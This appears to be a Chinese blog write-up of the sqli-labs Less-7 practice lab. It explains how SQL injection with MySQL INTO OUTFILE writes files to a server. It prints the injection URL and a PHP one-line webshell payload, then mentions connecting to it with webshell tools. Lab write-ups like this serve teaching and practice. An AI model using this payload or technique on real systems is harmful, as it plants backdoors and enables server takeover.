来了来了,又来更新了,距离上一篇的文的更新时间着实间隔有些久了,计划赶不上变化啊。本来想着,最长三天的间隔更新一下的,但是奈何社畜不好当啊,呜呜呜呜。。。
好了,回归主题,这次给大家更新的是sqli-labs实验环境中的Less-7题的内容,通过这题引入into outfile的使用方法和利用前提。其实实战中还真是希望能遇到,直接传马多爽!!!哈哈哈哈哈
那么接下来我们就开始做题吧!
http://172.20.10.13/sqli-labs/Less-7/?id=1"--+
判断出闭合方式并消除闭合方式的影响后,发现页面即无回显位置,也无报错信息利用。那么这个时候,我们该怎么处理呢?
这时候观察页面上面的提示信息,相比Less-6多出了一处Use outfile……
那这一定是什么关键的提示信息了。。。对于一些刚刚入门还不了解mysql数据库的小白来说,带着好奇去搜索“mysql outfile”
mysql select into outfile命令
在mysql数据库中存在mysql select into outfile命令,该命令与load data infile命令作用恰好相反。该命令的作用是将被选择的一行写入一个文件中。(文件被创建到服务器主机上)
但是,需要注意的是:into outfile和load_file()两种方式的利用都是具有局限性的。
其中,into outfile的使用前提是:
1.要知道网站的绝对路径,可以通过报错信息、phpinfo界面、404界面等一些方式知道
2.要有file权限,默认情况下只有root权限有
3.对目录要有写权限,一般image之类的存放图片的目录有写权限
还要注意的是:写的文件名一定是在网站中不存在的,不然也会不成功
select …… into outfile 'filename'常见的利用方式:
1.直接写进文件里
select version() into outfile "绝对路径",其中version()可以换成其余的查询数据库信息的函数
2.修改文件结尾
select "<?php @eval($_POST['cmd']);?>" into outfile "xxx/test.php",这里需要获取到网站在系统中的具体路径(绝对路径)
那么好,现在我们知道了select…… into outfile的利用方法了,那么我们就去解决Less-7吧!
首先,根据前面几题的经验,我们可以知道该网站目录的绝对路径,且用户是root权限的。那么就满足了我们使用outfile 去获取网站信息的使用前提条件
或者,我们假设我们对这个站点是一无所知的,这个时候我们想要获取到他们的绝对路径和权限,就需要将获取到的信息直接写入到网站的一个文件中
如下图所示,我们就成功把一句话木马写到了相应的目录下面了
写入一句话木马到目录后,那么就是用菜刀、中国蚁剑等webshell工具去连接了,至于连接之后要做的事情,请发挥你们的奇思妙想
注意注意
此时,去玩这道题的时候一定要注意的你的实验环境配置。导出数据的路径需要查看mysql安装路径下的my.ini文件的secure-file-priv 当前的值是什么,请务必将secure-file-priv的值设置成secure-file-priv=(空)
不然,任凭你怎么写怎么弄,可是写不进去的哦。什么?想知道为什么?请去查secure-file-priv这个值的意义。。。相信你会恍然大悟,醍醐灌顶。。。
总结
这篇文就先写到这里喽。。。一定要去实验,一定要去实验,一定要去实验,重要的话说三遍,哈哈哈。最后,希望自己可以按时更新文章